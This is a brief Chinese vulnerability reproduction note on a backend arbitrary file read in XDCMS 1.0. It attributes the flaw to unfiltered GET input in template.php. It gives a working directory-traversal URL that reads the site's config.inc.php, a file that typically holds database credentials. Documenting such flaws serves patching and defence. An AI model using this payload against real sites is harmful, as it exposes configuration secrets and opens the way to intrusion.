005-XDCMS 1.0 后台任意文件读取.md

517 B / 2021-07-17 00:01:24

    # XDCMS 1.0 后台任意文件读取

### 一、漏洞简介

### 二、漏洞影响

XDCMS 1.0

### 三、复现过程

漏洞文件漏洞文件：system\modules\xdcms\template.php，同上述xss漏洞相同

![](images/15896413021284.jpg)


第43行未对文件进行限制，从而导致了目录遍历，造成任意文件读取

对GET数据没有过滤


```
http://url/xdcms/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php
```

后台任意文件读取。

![](images/15896413282150.jpg)